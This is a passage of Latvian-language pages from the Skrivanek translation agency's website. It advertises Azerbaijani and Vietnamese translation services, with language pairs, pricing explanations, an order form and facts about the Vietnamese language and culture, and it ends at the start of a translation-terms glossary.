augusts ir azerbaidžāņu alfabēta un azerbaidžāņu valodas diena. Katru gadu 1. augustā Azerbaidžānā tiek atzīmēta azerbaidžāņu alfabēta un azerbaidžāņu valodas diena. 2001. gada 18. jūnijā dekrētu par valodas svinēšanas dienu parakstīja tā laika valsts vadītājs Heidars Alijevs. Pateicoties šim dekrētam, 2001. gada 1. augustā tika īstenota vispārēja rakstības pāreja uz azerbaidžāņu alfabētu, kas izmanto latīņu rakstību. Pirms tam izdevniecību un iespiešanas darbi valstī tika veikti, izmantojot divus alfabētus, puse kirilicā, puse latīņu rakstībā, kas radīja lielas neskaidrības un nestabilitāti valodas attīstībā un popularizēšanā. Valsts vadītājs bija spēris ļoti svarīgus soļus azerbaidžāņu dzimtās valodas popularizēšanai visā pasaulē, tautas nacionālās identitātes simbola − azerbaidžāņu valodas attīstībai un aizsardzībai. Azerbaidžāņu valodas kā valsts valodas noteikšana 1995. gadā valsts mēroga balsojumā pieņemtajā neatkarīgās Azerbaidžānas konstitūcijā un tās paaugstināšana oficiālās valsts valodas statusā ir viens no svarīgākajiem notikumiem valsts vēsturē. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM AZERBAIDŽĀŅU VALODĀ: dažādu dokumentu tulkošana azerbaidžāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; azerbaidžāņu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi azerbaidžāņu valodā; individuālie azerbaidžānu valodas kursi. AZERBAIDŽĀŅU VALODAS KOMBINĀCIJAS: azerbaidžāņu–latviešu; latviešu–azerbaidžāņu; azerbaidžāņu–lietuviešu; lietuviešu–azerbaidžāņu; igauņu–azerbaidžāņu; azerbaidžāņu–igauņu; krievu–azerbaidžāņu; azerbaidžāņu–krievu; poļu–azerbaidžāņu; azerbaidžāņu–poļu; ukraiņu–azerbaidžāņu; azerbaidžāņu–ukraiņu; čehu–azerbaidžāņu; azerbaidžāņu–čehu; vācu–azerbaidžāņu; azerbaidžāņu–vācu; spāņu–azerbaidžāņu; azerbaidžāņu–spāņu; franču–azerbaidžāņu; azerbaidžāņu–franču; itāļu–azerbaidžāņu; azerbaidžāņu–itāļu; dāņu–azerbaidžāņu; azerbaidžāņu–dāņu; zviedru–azerbaidžāņu; azerbaidžāņu–zviedru; norvēģu–azerbaidžāņu; azerbaidžāņu–norvēģu; somu–azerbaidžāņu; azerbaidžāņu–somu; azerbaidžāņu–arābu; arābu–azerbaidžāņu; azerbaidžāņu–armēņu, armēņu–azerbaidžāņu; azerbaidžāņu–baltkrievu, baltkrievu–azerbaidžāņu; bulgāru–azerbaidžāņu, azerbaidžāņu–bulgāru; azerbaidžāņu–ebreju, ebreju–azerbaidžāņu, azerbaidžāņu–grieķu, grieķu–azerbaidžāņu; azerbaidžāņu–gruzīnu; gruzīnu–azerbaidžāņu; azerbaidžāņu–hindi; hindi–azerbaidžāņu; azerbaidžāņu–holandiešu; holandiešu–azerbaidžāņu; azerbaidžāņu–korejiešu; korejiešu–azerbaidžāņu; azerbaidžāņu–kurdu; kurdu–azerbaidžāņu; azerbaidžāņu–ķīniešu; ķīniešu–azerbaidžāņu; azerbaidžāņu–portugāļu; portugāļu–azerbaidžāņu; azerbaidžāņu–rumāņu; rumāņu–azerbaidžāņu; azerbaidžāņu–slovāku; slovāku–azerbaidžāņu; azerbaidžāņu–slovēņu; slovēņu–azerbaidžāņu; azerbaidžāņu–turku; turku–azerbaidžāņu; azerbaidžāņu–ungāru; ungāru–azerbaidžāņu u. c. --- > Profesionāli tulkošanas pakalpojumi uz un no vjetnamiešu valodas. Tulkojam dažādus dokumentus, tekstus, pasākumus un tikšanās. - Published: 2023-05-18 - Modified: 2024-11-14 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vjetnamiesu-valoda/ - Translation Priorities: Optional TULKOJUMI VJETNAMIEŠU VALODĀ / TULKOT VJETNAMIEŠU VALODĀ CIK MAKSĀ TULKOJUMI VJETNAMIEŠU VALODĀ? Katram tulkojumam, vai tas būtu uz vai no vjetnamiešu valodas, cenu nosaka individuāli. Tiek ņemtas vērā dažādas komponentes − tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums, apostille, drukas maketa sagatavošana u. c. pakalpojumi). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma vjetnamiešu valodā izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM VJETNAMIEŠU VALODĀ: dažādu dokumentu tulkošana vjetnamiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; vjetnamiešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi vjetnamiešu valodā; individuālie vjetnamiešu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus vjetnamiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI VJETNAMIEŠU VALODĀ / TULKOT VJETNAMIEŠU VALODĀ CIK MAKSĀ TULKOJUMI VJETNAMIEŠU VALODĀ? Katram tulkojumam, vai tas būtu uz vai no vjetnamiešu valodas, cenu nosaka individuāli. Tiek ņemtas vērā dažādas komponentes − tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums, apostille, drukas maketa sagatavošana u. c. pakalpojumi). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma vjetnamiešu valodā izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM VJETNAMIEŠU VALODĀ: dažādu dokumentu tulkošana vjetnamiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; vjetnamiešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi vjetnamiešu valodā; individuālie vjetnamiešu valodas kursi. Meklējiet valodu risinājumus vjetnamiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR VJETNAMU UN VJETNAMIEŠU VALODU Vjetnamiešu valoda ir austroaziātu valodu saimes vjetu valodu grupas valoda un oficiālā valsts valoda Vjetnamā. Aptuveni pirms 150 gadiem vjetnamiešu valoda tika klasificēta kā austroaziātu valodu saimes monu-khmeru atzara valoda. Pēc tam tika konstatēts, ka tā tomēr radnieciski ir tuvāka mjonu valodai nekā pārējām monu-khmeru valodām, tāpēc tika izveidots vjetu-mjonu valodu atzars, kurā iekļāva vēl citas valodas, kas bija tuvākās šīm valodām. Pašu terminu “vjetu valodas” ieviesa valodnieks Heiss (La Vaughn H. Hayes) 1992. gadā. Vjetnamiešu valoda ir vienzilbīga valoda. Tas nozīmē, ka vārdiem vjetnamiešu valodā nav locījumu, to vietā tiek izmantoti muzikāli akcenti. Tos nosaka diakritiskās zīmes, kas tiek rakstītas virs un zem patskaņa. Vjetnamiešu valodai ir seši dažādi akcenti. Tas gan apgrūtina valodas apguvi. Salīdzinājumam, mandarīnu ķīniešu valodā ir četri akcenti (ieskaitot neitrālos), bet savukārt kantoniešu valodā ir pat veseli astoņi akcenti. Vjetnamiešu valodā nav arī sieviešu vai vīriešu dzimtes. Vjetnamieši neuzrunā viens otru vārdā. Tāpat kā daudzās Āzijas kultūrās, arī Vjetnamā visus sauc par "māsu", "brāli", "tēvoci" utt. Pat laulāti pāri, runājot viens ar otru, lieto vārdu "māsa" vai "brālis". Tas ir vjetnamiešu veids, kā izrādīt cieņu. Mūsdienās vjetnamiešu valodu var dzirdēt runājam daudzviet pasaulē ne tikai Ķīnā, Kambodžā vai Laosā. Faktiski aptuveni 90 miljoni cilvēku pasaulē runā vjetnamiešu valodā. Vjetnamai ir 94% rakstpratības līmenis. Vjetnamiešu valoda ir sestā lielākā valoda Amerikas Savienotajās Valstīs, septītā lielākā valoda Austrālijā bet Francijā tā ieņem astoto vietu. Tiek uzskatīts, ka Vjetnama ir sadalīta trīs galvenajos reģionos (ziemeļu, centrālajā un dienvidu), un katram reģionam ir atšķirīgi dialekti. Tiek uzskatīts, ka ziemeļu reģiona iedzīvotājiem, īpaši Hanojas galvaspilsētā, ir visizplatītākā izruna. Galvenās atšķirības starp šiem dialektiem ir izmantotās skaņas, izruna un daži vārdu krājumi. Vjetnamas ziemeļu daļu gan politiski, gan kultūras ziņā ļoti ietekmēja ķīnieši, kas tur dominēja 2. gadsimtā pirms mūsu ēras. Pēc pirmās Vjetnas karaļvalsts rašanās 10. gadsimta sākumā valdošā šķira pieņēma klasisko ķīniešu valodu kā formālo valsts pārvaldes, zinātnisko un literatūras līdzekli. Šajā gadsimtā vjetnamieši izveidoja chữ nôm (modificētu ķīniešu rakstzīmju kopu), pamatojoties uz tradicionālo ķīniešu rakstības sistēmu, lai rakstītu un aprakstītu savus vjetnamiešu vārdus, kas nepastāvēja ķīniešu valodā. Līdz ar ķīniešu valodas dominēšanu radās stipra ķīniešu vārdu krājuma un gramatikas ietekme. Piemēram, daži vārdi vjetnamiešu valodā, kas cēlušies no ķīniešu valodas ir gia đình − ģimene, đồng ý − piekrist. Daļa vjetnamiešu leksikas visās jomās sastāv no ķīniešu-vjetnamiešu kombinētiem vārdiem (tie ir aptuveni trešdaļa no vjetnamiešu leksikas, un tie var veidot pat 60% no oficiālajos tekstos izmantotā vārdu krājuma). Kad 19. gadsimta beigās Francija iebruka Vjetnamā, franču valoda pakāpeniski nomainīja ķīniešu valodu kā oficiālo valodu izglītībā un valsts pārvaldē. Tradicionālā ķīniešu valoda valstī oficiāli vairs netika lietota. Vjetnamieši pieņēma daudzus franču terminus, piemēram, đầm – dāma − no ranču madame, ga − dzelzceļa stacija − no franču gare, sơ mi – krekls – no franču chemise, pho mat – siers − no franču fromage, bo – sviests − no franču beurre un búp bê – lelle – no franču poupée. Līdzīgi zviedru valodai vjetnamiešu valodā ir daudz apvienotu vārdu, piemēram, tủ lạnh (skapis auksts) ir ledusskapis un ngựa vằn (zirgs strīpa) ir zebra. Piemēram, Čehijas Republikā vjetnamiešu valoda šodien tiek atzīta par vienu no 14 mazākumtautību valodām, pamatojoties uz to iedzīvotāju kopienām, kas valstī dzīvo tradicionāli vai ilgstoši. Šāds vjetnamiešu valodas statuss piešķir tiesības uz kopienas pārstāvi Valdības Tautību padomē, kas ir Čehijas valdības padomdevēja iestāde nacionālo minoritāšu politikas jautājumos. Vjetnamiešu valodu arvien biežāk var apgūt skolās un iestādēs ārpus Vjetnamas, un to lielā mērā veicina tās lielā diaspora pasaulē. Valstīs, kurās ir lielas vjetnamiešu valodas kopienas, piemēram, Amerikas Savienotājās Valstīs, Francijā, Austrālijā, Kanādā, Vācijā un Čehijā, vjetnamiešu valodas izglītība lielā mērā pilda kultūras un tradīciju tālāknodošanas funkciju, lai iepazīstinātu vjetnamiešu imigrantu pēcnācējus ar viņu senču kultūras mantojumu. Kopš 1980. gadiem daudzās vjetnamiešu valodā runājošās kopienās visā pasaulē ir nodibinātas vjetnamiešu skolas. Amerikas Savienotajās valstīs vien 39 vjetnamiešu skolas un pat vairākas universitātes, kas piedāvā iespēju apgūt vjetnamiešu valodu. Tāpat kopš 80. gadu beigām vjetnamiešu-vācu kopiena ir izmantojusi pilsētu valdību atbalstu, lai vidusskolu mācību programmās iekļautu vjetnamiešu valodu, lai mācītu, atgādinātu un veicinātu vēlmi vjetnamiešu vācu studentiem apgūt viņu dzimto valodu. Turklāt ļoti daudzi vācieši ir tieši izvēlējušies studēt vjetnamiešu valodu sakarā ar augošajām biznesa iespējām. Ar vairāk nekā 2500 jūdžu garu piekrasti, Vjetnama ekonomiski un gastronomiski lielā mērā ir atkarīga no zvejas — jūra ir pabarojusi valsti visos laikos. Zvejnieki uzskata, ka vaļi tos pasargā, kad tie atrodas jūrā, un daudzos gadījumos palīdz laivām atrast krastu, kad laikapstākļi ir slikti. Ir neskaitāmi stāsti par dzīvībām, ko izglābis valis, kurš vētras laikā vedis laivas drošībā. Vaļu pielūgšana ir plaši izplatīta piekrastē, bet dīvainā kārtā tā ir biežāk sastopama valsts centrālajās daļās. Vecās laivas tiek pārveidotas par svētnīcām un tempļiem vai uzcelti jauni tempļi. Altāri ir piepildīti ar vaļu kauliem, un zvejnieki pulcējas tur, lai lūgtu par drošību un labklājību jūrā. Vjetnama ir otrais lielākais kafijas ražotājs pasaulē pēc Brazīlijas. Pirmo kafiju Vjetnamā ieveda kāds franču priesteris 19. gadsimta vidū. Mūsdienās vjetnamiešu kafija ir viena no labākajām pasaulē un tiek eksportēta galvenokārt uz Eiropu. Vjetnamiešu kafiju pasniedz saldu un stipru, ar ledu, bieži vien arī ar saldinātu iebiezināto pienu. Saldināta iebiezinātā piena, nevis svaiga piena izmantošana saistās ar tā pieejamību un vieglāku uzglabāšanu tropu klimatā. Pēdējā laikā kafejnīcās lielu popularitāti piedzīvojusi tradicionālā olu kafija. Visā tās vēsturē Vjetnama ir piedzīvojusi daudzus karus un okupācijas periodus, taču valsts ir saglabājusi savu identitāti, pateicoties tautas pasakām un dzejai. Vjetnamas vēsturē ir daudz varoņu, un stāsti par viņiem ir ļoti svarīga kultūras sastāvdaļa. Šie slavenie varoņi bieži tiek citēti, un tiem ir ievērojama loma mūsdienu dziesmās un dzejoļos, un tie joprojām sniedz svarīgus morālos norādījumus vjetnamiešiem. Tāpat ļoti bieži var redzēt jauniešus pavadām laiku parkos un kafejnīcās, spēlējot ģitāru un dziedot populāras un tradicionālas dziesmas. Vīriešu asaru izrādīšana vispār netiek uzskatīta par nevīrišķīgu. VJETNAMIEŠU VALODAS ALFABĒTS Vjetnamiešu valoda vēsturiski tika rakstīta, izmantojot Chữ Nôm logogrāfisku rakstību, kuras pamatā ir ķīniešu rakstzīmes − Chữ Hán. Lai pierakstītu ķīniešu-vjetnamiešu vārdu krājumu un dažus vietējos vjetnamiešu vārdus, tika izgudrotas arī daudzas vietējās rakstzīmes. Franču koloniālā vara panāca Vjetnamā vjetnamiešu alfabēta Chữ Quốc ngữ oficiālu pieņemšanu, kura pamatā ir latīņu rakstība. Akcentu un dažu fonēmu apzīmēšanai tajā izmanto divskaņus un diakritiskās zīmes. Vjetnamiešu alfabēts (vjetnamiešu valodā Chữ Quốc ngữ − “valsts valodas raksts”) ir mūsdienu latīņu rakstības alfabēts vai rakstīšanas sistēma vjetnamiešu valodā. Vjetnamiešu alfabētā ir 29 burti, tostarp septiņi burti, kas ar četrām diakritiskajām zīmēs: ă, â, ê, ô, ơ, ư, đ. Akcenta apzīmēšanai tiek izmantotas vēl piecas diakritiskās zīmes (piemēram, à, á, ả, ã un ạ). Sarežģītā patskaņu sistēma un lielais burtu skaits ar diakritiskajām zīmēm, ko var salikt divas reizes uz viena burta, piemēram, nhất, ļauj viegli atšķirt vjetnamiešu ortogrāfiju no citām rakstīšanas sistēmām, kas izmanto latīņu alfabētu. KUR UN CIK DAUDZ RUNĀ VJETNAMIEŠU VALODĀ? Vjetnamiešu valodā runā vairāk nekā 77 miljoni cilvēku visā pasaulē, un lielākā daļa ir Vjetnamas iedzīvotāji. Tā tikai nedaudz atpaliek no korejiešu valodas, kurā runā 82 miljoni iedzīvotāju. Tā ir vjetnamiešu dzimtā valoda, kā arī otrā valoda vai pirmā valoda citām etniskajām grupām Vjetnamā. Emigrācijas rezultātā vjetnamiešu valodā runājošie ir sastopami arī citās Dienvidaustrumāzijas daļās, Austrumāzijā, Ziemeļamerikā, Eiropā un Austrālijā. Vjetnamiešu valoda ir arī oficiāli atzīta par minoritāšu valodu Čehijā. Amerikas Savienotajās Valstīs vjetnamiešu valoda ir piektā runātākā valoda ar vairāk nekā 1,5 miljoniem runātāju, kuri ir koncentrēti vairākos štatos. Tā ir trešā visvairāk runātā valoda Teksasā un Vašingtonā, ceturtā Džordžijā, Luiziānā un Virdžīnijā, piektā Arkanzasā un Kalifornijā. Vjetnamiešu valoda ir septītā visvairāk runātā valoda Austrālijā. Francijā tā ir visvairāk runātā Āzijas valoda un astotā visvairāk runātā imigrantu valoda mājās. CIK SAREŽĢĪTA IR VJETNAMIEŠU VALODA? Ja vēlāties doties ceļojumā uz Vjetnamu vai palikt Vjetnamā padzīvot ilgāk, ir ļoti vēlams apgūt vjetnamiešu valodas pamatus, jo Vjetnamā ļoti maz vjetnamiešu prot runāt angliski, salīdzinot ar dažām citām Āzijas valstīm, piemēram, Taizemi, Indiju vai Filipīnām. Vjetnamas attālākajos rajonos angliski runājošie var būt ļoti reti sastopami. Daži vecākas paaudzes vjetnamieši vairāk runā franciski nekā angliski. Zinot vjetnamiešu valodas pamatus, laiku Vjetnamā var pavadīt daudz lietderīgāk un interesantāk. Piemēram, jūs varat pasūtīt vjetnamiešu ēdienus mazos vietējos restorānos, jo ir zināms, ka ēdiens tur ir daudz autentiskāks un garšo labāk nekā lielajos un franšīzes restorānos. Vjetnamiešu valodas apguve var arī palīdzēt uzzināt vairāk par vjetnamiešu kultūru dažādos Vjetnamas reģionos. Tā ir lieliska iespēja sazināties ar vjetnamiešiem, viņi jums pastāstīs vairāk par to, kam vjetnamieši tic, kā viņi domā un ko viņi dara konkrētās situācijās, jo vjetnamieši attiecās ļoti pozitīvi pret ārzemniekiem, kuri prot kaut mazliet viņu valodu. Vjetnamiešu valodas apguve ļauj uzzināt Vjetnamas vēsturi un to, kas notika pirms daudziem gadiem Vjetnamā, bet nav rakstīts nevienā grāmatā. Piemēram, kā vjetnamiešu karavīri uzvarēja Vjetnamas karā pat tad, kad viņiem nebija daudz modernu ieroču vai pārtikas. Vjetnamiešu valodu bieži ierindo pie grūti apgūstamajām valodām. To apgūt ir gandrīz tik grūti cik korejiešu vai arābu valodu. Studentiem ir nepieciešamas aptuveni 1100 stundas, lai apgūtu valodu un varētu izmantot vjetnamiešu valodu darbā. Tomēr pētījums tika veikts tikai tiem, kuriem angļu valoda ir dzimtā. Cilvēkiem, kuri runā citās valodās, piemēram, taju vai ķīniešu, kas ir tonālās valodas, var būt nepieciešams mazāk stundu, lai brīvi runātu vjetnamiešu valodā. VJETNAMIEŠU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic ir mūsdienīgs tulkošanas birojs un nodarbojas ar visa veidu dokumentu rakstiskajiem un mutiskajiem tulkojumiem, atrodot jebkuru risinājumu klienta vēlmēm. Mēs nodrošinām arī tekstu korektūru vjetnamiešu valodā un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Mūsu pieredzējušie darbinieki parūpēsies arī par teksta efektivitāti, atbilstošu stilu un pielāgošanos kultūras kontekstam gan pašas valodas, gan valsts ziņā. Saviem biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz vjetnamiešu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu, mārketinga tulkojumus, produktu etiķešu tulkojumus atbilstoši valstu normatīvo aktu prasībām un standartiem. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus vjetnamiešu valodā. Tulkojumus ir iespējams apstiprināt notariāli. VJETNAMIEŠU VALODA BIZNESĀ Kamēr angļu valoda kļūst arvien populārāka Vjetnamas biznesa vidē, vjetnamiešu valoda joprojām ir dominējošā valoda – tajā runā 86 procenti iedzīvotāju. Vjetnamieši ļoti novērtē, ja ārzemnieks mēģina iemācīties vienkāršas frāzes viņu valodā, piemēram, xin chao, kas vjetnamiešu valodā nozīmē “sveiki”. Ārpus Vjetnamas robežām vjetnamiešu valodu kā biznesa valodu principā nelieto. Iesakām pirmo biznesa tikšanos Vjetnamā rīkot ar tulku. Tāpat, ir jābūt gatavam apmeklēt vairākas tikšanās, jo veiksmīgi darījumi reti tiek noslēgti dažu tikšanos laikā. Priekšroka tiek dota sarunām, kas notiek klātienē, nevis tiešsaistes saziņai un e-pastiem. Vislabāk ir izveidot darba kārtību pirms tikšanās, lai biznesa partneri varētu iepazīties ar to, kas tiks apspriests. Ir arī noderīgi, ja visi dokumenti un vizītkartes tiek tulkotas vjetnamiešu valodā. Tikšanās būtu jāieplāno ņemot vērā Vjetnamas svētku dienas. LATVIJAS UN VJETNAMAS SADARBĪBA Sadarbība starp Latviju un Vjetnamu ir veidojusies sekmīga un konstruktīva. Nākotnē divpusējā sadarbība varētu kļūt pat vēl ciešāka. Latvija vēlas stiprināt sadarbību kopīgos projektos, sevišķi perspektīva varētu būt sadarbība ekonomikā un izglītības jomā. Vjetnama ir viena no lielākajām Latvijas tirdzniecības partnervalstīm Dienvidaustrumāzijā un desmitā lielākā Latvijas tirdzniecības partnervalsts ārpus Eiropas. Jau vairākus gadus Latvijas lauksaimniecības zinātnieki attālināti veic rīsu audzēšanas monitoringu Vjetnamā, lai nākotnē radītu automatizētu rīku, kas uzraudzītu rīsu audzēšanu Vjetnamā. Tie austrumu zemes lauksaimnieki, kuri ievēros klimatam draudzīgu rīsu audzēšanas metodi, nākotnē varēs iegūt starptautiski atzītu pārtikas ražotāju sertifikātu. Šai platformai un projektam jau ir pievienojušies vairāki simti vietējie zemnieki, kurus koordinē Vjetnamas universitāte. Tāpat Latvijā ir daudz studentu no Vjetnamas, kas izvēlas studēt valodas vai medicīnu. Rīgā ir atrodami vairāki vjetnamiešu restorāni, kuru īpašnieki ir vjetnamieši, kas pārcēlušies uz dzīvi Latvijā. VJETNAMIEŠU VALODAS DIENA 2020. gadā 8. septembris ir kļuvis par ikgadēju vjetnamiešu valodas godināšanas dienu pamatojoties uz Vjetnamas premjerministra vietnieka parakstīto lēmumu par projekta apstiprināšanu par valodas godināšanu valstī un ārzemēs laika posmā no 2023. līdz 2030. gadam. Lēmuma mērķis ir veicināt sabiedrības izpratni par vjetnamiešu valodas skaistumu un tās vērtību, vienlaikus godinot cilvēkus un organizācijas, kas sniedz neaizstājamu ieguldījumu vjetnamiešu valodas popularizēšanā un izkopšanā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM VJETNAMIEŠU VALODĀ: dažādu dokumentu tulkošana vjetnamiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; vjetnamiešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi vjetnamiešu valodā; individuālie vjetnamiešu valodas kursi. VJETNAMIEŠU VALODAS KOMBINĀCIJAS: vjetnamiešu–latviešu; latviešu–vjetnamiešu; vjetnamiešu–lietuviešu; lietuviešu–vjetnamiešu; igauņu–vjetnamiešu; vjetnamiešu–igauņu; krievu–vjetnamiešu; vjetnamiešu–krievu; poļu–vjetnamiešu; vjetnamiešu–poļu; ukraiņu–vjetnamiešu; vjetnamiešu–ukraiņu; čehu–vjetnamiešu; vjetnamiešu–čehu; vācu–vjetnamiešu; vjetnamiešu–vācu; spāņu–vjetnamiešu; vjetnamiešu–spāņu; franču–vjetnamiešu; vjetnamiešu–franču; itāļu–vjetnamiešu; vjetnamiešu–itāļu; dāņu–vjetnamiešu; vjetnamiešu–dāņu; zviedru–vjetnamiešu; vjetnamiešu–zviedru; norvēģu–vjetnamiešu; vjetnamiešu–norvēģu; somu–vjetnamiešu; vjetnamiešu–somu; vjetnamiešu–arābu; arābu–vjetnamiešu; vjetnamiešu–armēņu, armēņu–vjetnamiešu; vjetnamiešu–baltkrievu, baltkrievu–vjetnamiešu; bulgāru–vjetnamiešu, vjetnamiešu–bulgāru; vjetnamiešu–ebreju, ebreju–vjetnamiešu, vjetnamiešu–grieķu, grieķu–vjetnamiešu; vjetnamiešu–gruzīnu; gruzīnu–vjetnamiešu; vjetnamiešu–hindi; hindi–vjetnamiešu; vjetnamiešu–holandiešu; holandiešu–vjetnamiešu; vjetnamiešu–korejiešu; korejiešu–vjetnamiešu; vjetnamiešu–kurdu; kurdu–vjetnamiešu; vjetnamiešu–ķīniešu; ķīniešu–vjetnamiešu; vjetnamiešu–portugāļu; portugāļu–vjetnamiešu; vjetnamiešu–rumāņu; rumāņu–vjetnamiešu; vjetnamiešu–slovāku; slovāku–vjetnamiešu; vjetnamiešu–slovēņu; slovēņu–vjetnamiešu; vjetnamiešu–turku; turku–vjetnamiešu; vjetnamiešu–ungāru; ungāru–vjetnamiešu u. c. --- > Tulkošanas nozares terminu vārdnīca – atrodi precīzus tulkojumus un skaidrojumus biežāk lietotajiem terminiem dažādās nozarēs. - Published: 2023-05-10 - Modified: 2025-06-17 - URL: https://skrivanek.lv/terminu-vardnica/ - Translation Priorities: Optional ADAPTĀCIJA / TEKSTU PIELĀGOŠANA Loti bieži, uzrunājot ārvalstu klientus vai pat jaunu pašmāju auditoriju, iepriekš sagatavotie teksti pirms to publicēšanas sociālajos medijos vai tīmekļa vietnē ir būtiski jāmaina un jāpārstrādā, pielāgojot tos attiecīgās valsts, tirgus vai mērķauditorijas īpatnībām, piemēram, teksts ir jāadaptē vieglajā valodā. Adaptācijas procesā teksts tiek daļēji vai pat pilnībā pārrakstīts, saglabājot oriģinālā vēstījuma būtību un tonalitāti. ALGORITMS Noteiktu darbību priekšraksts kāda uzdevuma vai problēmas risināšanai. Algoritmi plaši tiek izmantoti mašīntulkošanā, apstrādājot teksta datus. Neironu mašīntulkošanas tehnoloģijas pamatā ir dziļās mašīnmācīšanās algoritmi. ANGĻU VALODAS KURSI Kursi, kuros iespējams apgūt angļu valodu ATSLĒGVĀRDI Valodas vārds vai vārdu grupa, ko izmanto kāda teksta vai dokumenta satura noteikšanai un meklēšanai ATGRIEZENISKĀ TULKOŠANA Atpakaļ tulkošanas process, kas paredzēts kļūdu atrašanai un izlabošanai AUDIO UN VIDEO FAILU LOKALIZĀCIJA Skaņas lokalizācija ir skaņas satura, īpaši ierakstīta, pārraidīta vai atskaņota, pielāgošanas process konkrētai vietai vai tirgum. Video lokalizācija ir process, kurā tiek ņemts jūsu video saturs, kas veidots 